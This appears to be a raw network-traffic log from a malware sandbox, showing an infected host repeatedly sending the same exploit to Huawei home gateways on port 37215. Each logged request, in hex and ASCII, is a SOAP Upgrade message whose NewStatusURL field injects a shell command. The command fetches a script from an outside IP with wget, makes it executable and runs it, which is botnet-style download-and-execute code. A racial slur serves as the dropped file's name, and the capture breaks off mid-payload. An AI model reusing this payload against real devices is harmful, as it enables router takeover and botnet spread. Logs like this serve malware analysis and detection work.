43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.15	33634	45.207.159.153	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:39.746015072 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:41.314784050 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:43.170578003 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.010550976 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.434262991 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:09.281883001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:40.001040936 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.15	55872	31.136.107.123	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.147063971 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.706590891 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 